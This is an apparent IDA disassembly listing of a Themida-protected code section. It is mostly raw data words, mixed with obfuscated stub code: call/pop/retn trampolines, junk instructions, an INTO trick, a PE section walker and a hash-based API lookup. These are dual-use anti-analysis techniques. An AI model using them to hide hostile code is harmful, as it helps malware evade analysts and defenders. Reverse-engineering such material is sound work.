dd 89061538h, 12160985h, 87E906h, 8B520000h, 728B60D4h
dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h
dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h
dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h
dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h
dd 728BDB33h, 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h
dd 0D8321334h, 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh
dd 8C25A5Eh, 58858D00h, 8906153Bh, 121FDD85h, 80858D06h
dd 8906153Bh, 122FF185h, 0A8858D06h, 8906153Bh, 12237D85h
dd 9E806h, 0F77F0000h, 88670EAAh, 5ED4EC77h, 0E8CB8166h
dd 0EDC68122h, 2B00006Ah, 0C820FC9h, 0E9000000h, 7, 0D67CFC69h
dd 8BC0E93Ch, 830F0E14h, 1, 2BEA81F9h, 602D805Ah, 0A1A3BB66h
dd 0F63C0DBEh, 0EA81612Eh, 5C5E28F2h, 38F0Fh, 0BF0F0000h
dd 0EC281DEh, 52060FC1h, 800Fh, 48F0000h, 6E90Eh, 98AF0000h
dd 774DE174h, 6E8h, 0AB919B00h, 0F55FFBBh, 287h, 585F5000h
dd 6602E983h, 493B2AB8h, 0C1BF0F49h, 95ACF981h, 850FFFFFh
dd 0FFFFFF8Fh, 60DEBF0Fh, 8BCBB70Fh, 83CE8BC0h, 122F01BDh
dd 9750006h, 2149BD83h, 74000612h, 8B535019h, 40EB8C0h
dd 85890000h, 6120B35h, 0AD099D8Dh, 0D3FF0614h, 0BD83585Bh
dd 6122149h, 50177400h, 40EB853h, 85890000h, 6120B35h
dd 0A9F89D8Dh, 0D3FF0614h, 820F585Bh, 0Bh, 5820Fh, 81660000h
dd 0E9D450EAh, 6, 0A862F4B2h, 0C08B9B57h, 83D1B70Fh, 122EEDBDh
dd 840F0006h, 0Ch, 0B9DA8166h, 2B2E969h, 0C9B10000h, 6ADF8Ch
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 67BFBC3h, 5E9h, 795A9200h, 0F7662FF3h, 0F0004C7h, 27B85h
dd 0BE900h, 0C1E70000h, 4795E409h, 1C2337C4h, 0C5BD8390h
dd 6121Dh, 4D850Fh, 890F0000h, 6, 4BA1CE81h, 12E923BBh
dd 4D000000h, 0F55CCE6Bh, 0A2ED6F24h, 756E6F8Fh, 7426501Dh
dd 236E927h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 8314DC3h, 493664DEh, 0BF038934h
dd 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5AF8BB
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AF8BB proc near ; CODE XREF: Themida_:005AF8B3p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5AF8BB endp
; ---------------------------------------------------------------------------
xor [esi+edx*8], cl
lea ebx, [ebp+6153F6Eh]
mov dh, 3Ch
jmp loc_5AF8E8
; ---------------------------------------------------------------------------
db 2Eh
dd 1202D0D0h, 0F056A975h, 0B6F34A67h
; ---------------------------------------------------------------------------
loc_5AF8E8: ; CODE XREF: Themida_:005AF8D6j
push eax
mov ch, 0E7h
mov [esp], ebx
push 0
push ebx
call sub_5AF8F9
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AF8F9 proc near ; CODE XREF: Themida_:005AF8F1p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5AF8F9 endp
; ---------------------------------------------------------------------------
db 0B4h, 0ACh, 18h
dd 664A8ED9h, 0FF64F08Bh, 35h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 76E12F17h
dd 25896434h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5AF94B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AF94B proc near ; CODE XREF: Themida_:005AF943p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5AF94B endp
; ---------------------------------------------------------------------------
db 0F3h
dd 60BDA5FDh, 0F28B66F5h, 52C48B61h, 5C18166h, 1CD5EE6h
dd 89B900EBh, 661BA518h, 8F64D68Bh, 5, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 2405208Dh, 0CE9FFh, 0C58D0000h, 0AEFF6E19h, 6E7555Ch
dd 0C483E015h, 51006A04h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 9A542036h, 0AE9E243h
dd 6D000000h, 0BE944B4Fh, 0AC290A6Dh, 0FC00BBFh, 0CF84h
dd 7E900h, 0C1B30000h, 19C6BD5Dh, 0BA5361E9h, 48580D13h
dd 0F5805659h, 0BD8D5959h, 6127308h, 5E956h, 37A0000h
dd 5E78A3A5h, 1B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 602DC2C6h, 0FD78B66h
dd 0FF61D7BFh, 0CEB70FE7h, 245C8B57h, 0B8838B10h, 0F000000h
dd 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h, 335F0200h
dd 13E8C3C0h, 0DB000000h, 401B705Ch, 0A2AA8BFh, 55F37F80h
dd 47740614h, 5EF5740Dh, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 0BE1FD8B8h, 7E8h, 8756B00h
dd 0B2211CA2h, 5800Fh, 0BDB90000h, 5E33F8CEh, 0E8D18B61h
dd 14h, 0AED2773Eh, 0EBF97399h, 0D09C808h, 7C5FBEF6h, 0E40604ABh
dd 4E28166h, 0C08B5943h, 0CA816660h, 0B8514DD8h, 44F23EC7h
dd 0BD83615Ah, 6122F01h, 83097500h, 122149BDh, 19740006h
dd 0C08B5350h, 40EB8h, 0B9858900h, 8D061202h, 14AD709Dh
dd 5BD3FF06h, 49BD8358h, 61221h, 53501774h, 40EB8h, 0B9858900h
dd 8D061202h, 14AA119Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 5182A072h
dd 3810Fh, 0D9800000h, 0C08B5E79h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 3AC35343h, 0B95100C5h, 0F022A90h
dd 386h, 0D0B70F00h, 8EBC28Bh, 2 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5AFC1C
; ---------------------------------------------------------------------------
db 60h, 52h, 0Fh
; ---------------------------------------------------------------------------
add [esp-2], ecx
pop edx
add edx, 24h
loc_5AFBAC: ; CODE XREF: Themida_:005AFBE3j
mov eax, [ebp+6120EE9h]
lea eax, [ebp+61576AEh]
mov ecx, [eax]
mov ecx, [eax+1000h]
mov ecx, [edx]
mov cx, [edx-4]
mov [ebp+61540BEh], ecx
cmp dword ptr [ebp+6121DC5h], 0
jz loc_5AFBE8
pusha
push 0
call dword ptr [ebp+61229D1h]
popa
jmp loc_5AFBAC
; ---------------------------------------------------------------------------
loc_5AFBE8: ; CODE XREF: Themida_:005AFBD3j
mov [edx-4], si
ror esi, 10h
mov [edx+2], si
push edx
int 4 ; - internal hardware - OVERFLOW
; Generated by INTO instruction if OF flag is set. If flag is not set, INTO
; is effectively a NOP.
pop edx
mov [ebp+61540BAh], eax
mov esi, [ebp+61540BEh]
ror esi, 10h
mov [edx+2], si
mov esi, [ebp+61540BEh]
mov [edx-4], si
popa
mov eax, [ebp+61540BAh]
retn
; ---------------------------------------------------------------------------
loc_5AFC1C: ; CODE XREF: Themida_:005AFB9Cj
lea edx, [ebp+61200F5h]
mov [ebp+61213F1h], edx
mov [ebp+61218A9h], edx
inc dword ptr [ebp+61218A9h]
mov byte ptr [ebp+61215C1h], 53h
push 0FCB148D8h
push dword ptr [ebp+61217F1h]
lea eax, [ebp+6123B48h]
call eax
mov [ebp+61229D1h], eax
lea eax, [ebp+61538FFh]
mov [ebp+61227F5h], eax
jmp loc_5AFCB6
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
add esi, [esi+3Ch]
mov edi, [esp+28h]
mov edx, esi
add edx, 0F8h
mov cx, [esi+6]
movzx ecx, cx
loc_5AFC80: ; CODE XREF: Themida_:005AFCABj
cmp ecx, 0
jz loc_5AFC9F
cmp edi, [edx+0Ch]
jg loc_5AFCA7
sub edx, 28h
mov eax, [edx+0Ch]
mov ecx, [edx+14h]
sub eax, ecx
sub edi, eax
loc_5AFC9F: ; CODE XREF: Themida_:005AFC83j
; Themida_:005AFCB1j
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_5AFCA7: ; CODE XREF: Themida_:005AFC8Cj
add edx, 28h
dec ecx
jnz loc_5AFC80
jmp loc_5AFC9F
; ---------------------------------------------------------------------------
loc_5AFCB6: ; CODE XREF: Themida_:005AFC60j
mov edx, 9FD3Eh
jmp short $+2
jmp loc_5B02B6
; ---------------------------------------------------------------------------
jmp loc_5B02AF
; ---------------------------------------------------------------------------
push 61542FDh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6154403h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 615448Ch
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 615455Eh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6154683h
jmp loc_583BD9
; ---------------------------------------------------------------------------
db 53h, 3Eh, 0D1h
dd 6EA1EB84h, 0D028821h, 0A76827C0h, 43CCC15Ah, 3FAF06F6h
dd 0DB74C14Eh, 79125FB0h, 12ABF817h, 6C46937Ch, 0A172151Dh
dd 34114DF4h, 315B145Eh, 43D6A9DEh, 0DF5FA8E3h, 959DB447h
dd 47DF5FF2h, 93F38691h, 47DF5FF4h, 0DF60196Fh, 603F4C47h
dd 622C47DFh, 0D47DF5Fh, 0C7DF5F7Eh, 7AC46F78h, 0B92F7C7Fh
dd 0DA5B1A85h, 22A26E54h, 90FF92C8h, 4B5CF879h, 518BFC04h
dd 0EDF8C7E0h, 0B4FB00C4h, 9AEDF5h, 0DEE9C7E0h, 0E07EB4Bh
dd 560FC9F2h, 0CEA1D639h, 8C94F33Bh, 0CDF20DFBh, 53127D88h
dd 7543BB3Ch, 0A6B40EB3h, 818E0213h, 1AF59B34h, 27E8A25Bh
dd 2B87CBFEh, 2CBF03F5h, 6B1BA47h, 72753E81h, 18D742CEh
dd 3D0BE10h, 3FBEC9D0h, 6DB5E671h, 2535FCA1h, 75000004h
dd 0DA6F31Ch, 0AA43907Fh, 49E22FE0h, 0E37CC946h, 281865AAh
dd 0E32C618Dh, 818EFD96h, 1AF59B34h, 0B55A34CDh, 373F8E68h
dd 4DF4A150h, 72805633h, 0A6BEF31Ch, 47DF5FE8h, 7D687985h
dd 18B1FE11h, 9B649976h, 8E71CF3h, 2DE2A861h, 58934E9Ah
dd 978CD936h, 22BCFE3Fh, 3A3ECh, 1C723E00h, 5057A635h
dd 93FE0AB6h, 0C7E375Eh, 8905CE03h, 137E5186h, 106E2080h
dd 965A47E0h, 0CDEEA04Bh, 0E010C2C5h, 4BB6C147h, 57B8D38Ch
dd 2066C7C4h, 0EF7CD67Dh, 3F479638h, 47DFF548h, 32FB303Bh
dd 71F2B15Eh, 5CC0FA36h, 0C8C55827h, 7BB05F2Fh, 0B0FDE6EEh
dd 63987717h, 6828F19Ah, 349F72A7h, 0B56FF0E7h, 0ADE6417Fh
dd 0B0DB3BCEh, 0AC47DFB3h, 0B3FA8D95h, 7E8947DFh, 0A0B1DAEBh
dd 0A40D5AE9h, 70A51014h, 232DDAE3h, 8610D334h, 727A39A4h
dd 49F1B254h, 23ECA2A3h, 9D5539B8h, 0F89DEBA7h, 31F31h
dd 0ED226F00h, 8A8507A0h, 29E6A43Dh, 0C34C43DCh, 5FB0DD76h
dd 5B932212h, 0F790DD32h, 952E7B94h, 2EC714FBh, 8862AF60h
dd 0A3563139h, 48254DF4h, 0F31C7272h, 8099F5BEh, 6297020Dh
dd 0D01DF299h, 0DF5FE3E8h, 6F830847h, 0C2D947DFh, 0DF6FCDBAh
dd 6AA5E547h, 2334C7D2h, 36D9B168h, 0D7E96CBh, 0E947DF70h
dd 1F9833E0h, 579D5D5Eh, 0A4AC2DECh, 12FF526Dh, 0ABB322B5h
dd 49F240ABh, 2A900F1Ah, 8EBA709h, 2969C63h, 0ABE60000h
dd 0E7E1764h, 6F1BB401h, 0D5BA53A0h, 3954ED3Ah, 1C9989D6h
dd 754BBD2h, 0A5F21D6Eh, 3E8B840Ch, 0D926E9A5h, 0DFA8B0FFh
dd 9C4DF4A3h, 1C72E9BFh, 59828DFDh, 2699BB5Dh, 0EE238EA0h
dd 71A66925h, 18D30E92h, 574C9976h, 22BCB87Fh, 708863Fh
dd 7C4F7ADEh, 8B1EE596h, 21389h, 6823DB00h, 0F447DF5Fh
dd 0A86724DDh, 97F0A073h, 0E447DF5Fh, 5B3546D9h, 0C2CE67B4h
dd 6FDA3557h, 0A1EA2FB0h, 0FA9A50Ch, 0B770977Ch, 0DF063BD4h
dd 0DFAFB0D7h, 5DC8D347h, 38D7B9CAh, 41A02403h, 0D825EAA6h
dd 0BCAEE3E3h, 563822h, 0AE8A0000h, 0EA01C0A5h, 80B55A31h
dd 578684ADh, 658C4F70h, 0C2F472D2h, 0F80349F1h, 0A78B0979h
dd 7D44E9EBh, 1C4h, 45927D14h, 0E22FE0ACh, 81CE4149h, 1B68A7E8h
dd 0B7040B82h, 8D00EEC7h, 0EF9C3582h, 563AD320h, 0BBD36CB9h
dd 0DE2D0754h, 0F4A4B1D6h, 1FF5D24Dh, 0E5DAE231h, 0D647DF5Fh
dd 0C3CD96CBh, 4481B28Eh, 0AD18639Ch, 0DAB06960h, 0B89E0C35h
dd 4E0C6658h, 35E4AABBh, 0AE81B659h, 79810E43h, 0F44002CEh
dd 0F35E1956h, 8C830DA6h, 27E8A63Fh, 3DEAE768h, 2415900Ch
dd 0A8E3AC91h, 0BBF01F71h, 56307DE8h, 1B88FF07h, 0F0FB47E0h
dd 0B1DB94BBh, 1B85020Ah, 0EBF647E0h, 0AEDCED80h, 0A9B71461h
dd 434C05C4h, 63C497CCh, 6C51E42Bh, 0DB28E7A3h, 0E01B98F3h
dd 70555E47h, 4329A9B1h, 899449F2h, 947B11CAh, 31DEAE47h
dd 38D7B972h, 0B89D3003h, 0AF6EA1EFh, 3510C12Eh, 0F184F330h
dd 0C6CEE50Ch, 4DF1F8C1h, 1324B7C2h, 4C3B4378h, 9E4DF1F8h
dd 650290F4h, 0ACB74F22h, 47430C41h, 0FD0693C8h, 49515918h
dd 0D50044Bh, 42D53A54h, 0C7CA31FAh, 0D19A8F2Ch, 0DFA0BEC9h
dd 47B2BD47h, 0D60B5DDCh, 22C7EDB5h, 9F5Bh, 6DA2EF00h
dd 0A058720h, 0A96624BDh, 43CCC35Ch, 0DF305DF6h, 0DB13A292h
dd 77105DB2h, 15AEFB14h, 0AE47947Bh, 8E22FE0h, 0A5D6B1B9h
dd 0C8A54DF4h, 0F31C72F2h, 61697BEh, 2CD8F03Dh, 563849DCh
dd 21A584B9h, 526925C0h, 3254333Bh, 1C2747E0h, 0E0331B6Ch
dd 0F25D6847h, 2DD0B0A5h, 190522BCh, 57000000h, 55049314h
dd 10EAA4F2h, 0F0711D7Dh, 434B47DFh, 1CE87FCCh, 52000000h
dd 92F5FD14h, 0F147DF5Fh, 3E38BDE6h, 3A857ABEh, 8C4447A7h
dd 187647DFh, 77F4AAF7h, 2F825h, 412F0000h, 0BBF01F72h
dd 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h
dd 0CF040B84h, 568B8406h, 0DB10FF8Dh, 0E28952D4h, 4B951h
dd 0CA010000h, 4EA8359h, 5C241487h, 718568h, 24348900h
dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 55241C89h, 0DD6FE1BDh
dd 81D5F748h, 47C1ECF5h, 5DEE89EBh, 60EE8146h, 4652CA5Dh
dd 0EE81D6F7h, 0F04FC94Ch, 63B368h, 24248900h, 4240483h
dd 481565Bh, 0EA123224h, 8438F7Fh, 1232BA52h, 53297FEAh
dd 34FF5A08h, 0C4815B24h, 4, 5E2434FFh, 4C481h, 2EE90000h
dd 0ABFFFD39h
; ---------------------------------------------------------------------------
push ebp
sbb al, 42h
loc_5B02AF: ; CODE XREF: Themida_:005AFCC2j
mov eax, 6154747h
add eax, ebp
loc_5B02B6: ; CODE XREF: Themida_:005AFCBDj
mov edx, ecx
jmp short loc_5B02DA
; ---------------------------------------------------------------------------
align 4
dd 7 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5B02DA: ; CODE XREF: Themida_:005B02B8j
jmp loc_5B0842
; ---------------------------------------------------------------------------
jmp loc_5B083B
; ---------------------------------------------------------------------------
push 61549A7h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6154A53h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6154BFEh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6154C76h
jmp loc_583BD9
; ---------------------------------------------------------------------------
inc eax
push ecx
mov esi, 5BB4D871h
push cs
loc_5B0314: ; CODE XREF: Themida_:005B031Fj
jnz short loc_5B032B
cli
lodsd
adc al, 7Bh
xchg eax, esp
inc edi
scasb
fbstp tbyte ptr [eax]
jecxz short loc_5B0314
retn 612Ch
; ---------------------------------------------------------------------------
dd 0C3C861AEh
db 4Ch, 0FFh, 66h
; ---------------------------------------------------------------------------
loc_5B032B: ; CODE XREF: Themida_:loc_5B0314j
sub ah, ch
cwde
dec dword ptr [edi+0A593380h]
add al, [ebp-9B20B59h]
sbb [edx], eax
dec ecx
inc edi
enter 0FFFFC093h, 5Fh
sub esp, esp
push ecx
and esi, [edx+18h]
test edx, 0DF5FE1AAh
mov dword ptr [edx], 0E9A2EBF6h
movsb
imul esi, [esi], 63h
shl byte ptr [ebx+63h], 1
sti
mov esp, 40B8A2h
; ---------------------------------------------------------------------------
db 2 dup(0), 0Ah
dd 0DF5F6B23h, 553AF347h, 495227BAh, 5869D5Ch, 6100D3F6h
dd 60C053D5h, 49F3242Fh, 0AF5DDEF5h, 0DDB64744h, 0E4394EFEh
dd 3F4A4DF4h, 0C5964ACh, 3F75h, 851D9E00h, 913771E2h, 23BCEA7Dh
dd 47DF5F68h, 0CB4C858Eh, 0F9FEBBF8h, 7C0BBBD4h, 0FF47DFDAh
dd 0C2CA89F4h, 49F322CDh, 62ADDE97h, 92F95A2Dh, 0A1A2EA7Dh
dd 6CB924EBh, 40CFBC75h, 77A5380Bh, 92F5FD14h, 0F147DF5Fh
dd 484253E6h, 127A92C7h, 8C7DF60h, 0B8D21DC4h, 3225C499h
dd 0CE6D7C89h, 8DFB2853h, 96E34EB9h, 87462B39h, 0DEA40C7Fh
dd 376C77C7h, 0A2EF206Eh, 96553C45h, 0F090D88Eh, 15D4DFC9h
dd 0B7E02F5Ch, 9B863270h, 0A186190Dh, 0CD140289h, 39D6B8C1h
dd 0BF503B04h, 1E0F48Ah, 4998B4DCh, 51564242h, 71975Bh
dd 0EFA80000h, 66396EA1h, 0FD14A5D3h, 0DF5F92F5h, 53E6F147h
dd 0D190757Eh, 0F29E7BC9h, 0B4737E49h, 0BD7C93FBh, 9FE99EA6h
dd 8F9A4DF4h, 2866FFFCh, 0DD7968E7h, 34D9EBA0h, 30C6Dh
dd 49C6CB00h, 0E62963FCh, 858A0099h, 1FF09F38h, 0BB5439D2h
dd 0B7377E6Eh, 53EC39D6h, 0F18AD738h, 8A23709Fh, 0E4BE0B04h
dd 0A8FA8D95h, 0AC894DF4h, 2D774D6h, 72DE0000h, 0AAC2F718h
dd 47DF5FE1h, 46C9C27Bh, 60B853B3h, 0D5B347DFh, 8147DF5Fh
dd 0BA4DC2C8h, 0DF60315Ah, 5F513A47h, 8A0B47DFh, 165550A1h
dd 2BE4A8A3h, 57B823F6h, 0E848DB34h, 87DFA8A3h, 9C5B4A53h
dd 0F2A0F894h, 0ABE0EB09h, 523A151Eh, 4AB588BDh, 0D3BB748Bh
dd 6276073Ch, 0D5A5949Bh, 0B111A40Fh, 1005D81Dh, 0EB246768h
dd 0E5EE0180h, 0BF642DB3h, 260F8h, 9D721F00h, 3AD5B750h
dd 0D93654EDh, 739CF38Ch, 0F008D26h, 0BE3D2C2h, 0A7408D82h
dd 45DE2BE4h, 0DE77C44Bh, 38125FB0h, 0A9A6E1E9h, 0F8D54DF4h
dd 0C4931422h, 0B63A3248h, 0B8D6E77Ah, 8C952257h, 8DDEE6A5h
dd 0B649F303h, 0C5C55EABh, 440A8B4Ah, 0D481B222h, 1B6C7433h
dd 684DF4DBh, 34CDCA5Dh, 5D84B956h, 0B2F00CDCh, 2A0A33DCh
dd 22F78AE9h, 656D2C19h, 500836FEh, 0BA3BFA05h, 0B0725F84h
dd 74710419h, 0E01FFF8Ch, 7EEF747h, 15783148h, 5FF2C5FAh
dd 0F36768FFh, 0D1909B49h, 908901BAh, 8DB10FFh, 95F90A9Dh
dd 0FA942D7Ah, 373F5615h, 4DF4E650h, 0C3C72833h, 0B144174Ch
dd 0E707B4CCh, 60F4DF4h, 3B58601Fh, 2850082Fh, 0E9A55E1Dh
dd 48506726h, 47E0203Fh, 613595ABh, 9F375E7Dh, 0D040194h
dd 6499EEF6h, 0DFEA47DFh, 0BC533B4Ch, 0C44B44FDh, 87344C31h
dd 0F547DF64h, 2ABD523Ch, 0A6654C55h, 0F2ACC59Eh, 24E3EE49h
dd 0B9EE216Bh, 2BE453E6h, 0C65FAC63h, 851247C8h, 0CED6957Ch
dd 5007E9C1h, 4B72A7B2h, 8114FB92h, 0DF646A21h, 746D8947h
dd 0BCFBA51Dh, 1D7222h, 14C40000h, 74BEF93h, 7C0F43A5h
dd 0E05C6F1Ch, 5C34ED47h, 0D43FD0BDh, 73241h, 239C0000h
dd 47DF7168h, 0C0A5AE35h, 1AD3EA01h, 92659A75h, 0DF5FA5E2h
dd 38CBD647h, 0F2A793D8h, 0E6A5B049h, 555D5E2Dh, 4DF4A732h
dd 7ADB4651h, 0F4C7FC13h, 0E6EF7C61h, 92D06441h, 4CB76EFDh
dd 8B6D858Dh, 4D585006h, 0B29E93CEh, 0F3BA5FEDh, 0B5h
dd 0A5F21D74h, 428F800Ch, 0E12EE1A9h, 7BC84748h, 1764ABE2h
dd 2D608E27h, 8FFC95E2h, 0F69A3380h, 5B33CC19h, 3E8D67B4h
dd 0F4AA5136h, 7F55324Dh, 19259314h, 1E54333Bh, 1C2747E0h
dd 4D7C67F3h, 3A6FA0ECh, 0F6FFD467h, 0F697500Fh, 7E11E419h
dd 0CA64070Fh, 545F49F2h, 0A689921Fh, 23F62BE4h, 6DF1F9B8h
dd 585006D7h, 6DD83757h, 0B2E2E5EEh, 21E88DEDh, 3Dh, 2D7A95FCh
dd 0CA17F894h, 69B65931h, 350BFD0h, 9FEC236Ah, 0A5E806AFh
dd 7841D6Ah, 6E22BB08h, 0D3BB54A1h, 0C615EF3Ch, 0F4ABC9BEh
dd 7DDBA4Dh, 874h, 5B14DE00h, 0E748DB34h, 0F01F72F9h, 739CF2BBh
dd 0F41B753Eh, 7A95F6BFh, 0FE117C45h, 828D00C9h, 40B844Dh
dd 8B8406CFh, 10FF8D56h, 0EC81D4DBh, 4, 68241C89h, 549Dh
dd 51243489h, 0C181E189h, 4, 8704E983h, 895C240Ch, 0BA52240Ch
dd 6154832h, 24048152h, 499D4A65h, 65EE815Eh, 5A499D4Ah
dd 4EC81h, 24890000h, 24048324h, 0BB535904h, 8, 0BA52CB01h
dd 0
; ---------------------------------------------------------------------------
add edx, ebx
mov [edx], esi
pop edx
pop ebx
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_583BD9
; ---------------------------------------------------------------------------
dd 725DB46Ch, 0C36345D1h
db 0AAh, 0A2h, 76h
; ---------------------------------------------------------------------------
loc_5B083B: ; CODE XREF: Themida_:005B02DFj
mov eax, 6154CD8h
add eax, ebp
loc_5B0842: ; CODE XREF: Themida_:loc_5B02DAj
mov ecx, eax
jmp loc_5B09AA
; ---------------------------------------------------------------------------
db 0B0h, 0C3h, 0E7h
dd 95ECE767h, 715893DAh, 0B6CFDF06h, 5D54FDBEh, 0ECA43636h
dd 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h
dd 0ACAC3252h, 46BF009Ch, 90ADFC6Ch, 0A3365973h, 72E275D6h
dd 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h, 918F9792h
dd 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh, 0BDF694B6h
dd 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh, 0AFF49389h
dd 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h, 0AE29B0F3h
dd 2Ch, 34h, 38h, 2 dup(0)
dd 4, 94h, 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h
dd 3220h, 25h dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5B09AA: ; CODE XREF: Themida_:005B0844j
jmp loc_5B2A44
; ---------------------------------------------------------------------------
push 61550F4h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 61551E9h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 61552EFh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 61553D1h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 61554B7h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6155578h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6155642h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 61556F2h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6155AABh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6155B11h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6155C56h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6155F97h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6156303h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 615668Ch
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6156830h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6156897h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6156903h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6156960h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6156B02h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6156C49h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6156E1Bh
jmp loc_583BD9
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
dw 49C6h
dd 0E62963FCh, 858A0099h, 1FF09F38h, 0BB5439D2h, 0B7377E6Eh
dd 53EC39D6h, 0F18AD738h, 8A23709Fh, 0E4BE0B04h, 0AEFA8D95h
dd 0AC894DF4h, 61B21495h, 0CA71EA44h, 0B4E92669h, 72204EE1h
dd 0F5BEF31Ch, 0CC297699h, 171FDEC3h, 49F18C77h, 0B6CE030Eh
dd 4DF18ED5h, 0A8DF021Eh, 24AECD28h, 3BFDh, 0A5AE4F00h
dd 69EA01C0h, 0B31418E2h, 0E6E015Eh, 49F183B8h, 677FB4BFh
dd 4DF18424h, 572EB3CFh, 24AEDA7Fh, 106ACh, 9EA6BD00h
dd 4DF18FE9h, 1F54BBD1h, 0D7B3B44Ch, 0C3ACD38h, 0BEF31C72h
dd 96981697h, 0AE78485Eh, 638CE628h, 0ED805D34h, 295EB1DCh
dd 0ACE12E60h, 21666E85h, 6247DF63h, 0DBB3C457h, 37F0E734h
dd 0C525B857h, 47DF5F03h, 0A98756D7h, 2EE9866Fh, 0B048A9Bh
dd 0A66925BEh, 0F6DBE471h, 1092037h, 47DFEF86h, 46C1EAF5h
dd 0A0EB014h, 27B313A6h, 6F49F211h, 95DB61EEh, 99CDC18h
dd 2855F8C1h, 57115DA1h, 39429FECh, 0B7D48D4Ch, 0BD502358h
dd 0BB40464Eh, 67205004h, 0F57EA25h, 30917E0Eh, 0A87BB05Fh
dd 0E6677E3Dh, 0EA8B076Bh, 2637CAE3h, 0C25BA867h, 0E3C544CBh
dd 0EFEDB32Eh, 1DD0834Ah, 137E0000h, 7616AFFCh, 0D7B34C99h
dd 3D52EB38h, 0A1EC85D2h, 8431216Eh, 9FEC236Ah, 3D8A8506h
dd 0D623ECA4h, 71BE513Dh, 47404897h, 344DF4AFh, 1B728157h
dd 800EA7F4h, 924B428Fh, 0D4BE59F8h, 575AF38h, 0AED9079Ah
dd 0EA01C0A5h, 0D0BE5B31h, 0CC370A3Fh, 0D131C497h, 49F17EF5h
dd 0A8C0F500h, 4DF180E3h, 0B2BAD110h, 4DF180D5h, 8110777Fh
dd 68734DF1h, 0E632C5D0h, 0DF3C94FBh, 0CCE924AEh, 3B000000h
dd 92F5FD14h, 0F147DF5Fh, 80785E6h, 5C6D00D3h, 651EDD32h
dd 0DEB1E629h, 6CFF107Dh, 0ECCFBE87h, 0DF5FA3E4h, 6AD5E047h
dd 37550E35h, 3065AAE2h, 0EABDF25Dh, 5BD1F757h, 2B6347DFh
dd 8739CEEh, 0A36C22BBh, 0E9D8E16Eh, 64B8222Ah, 1C2749F1h
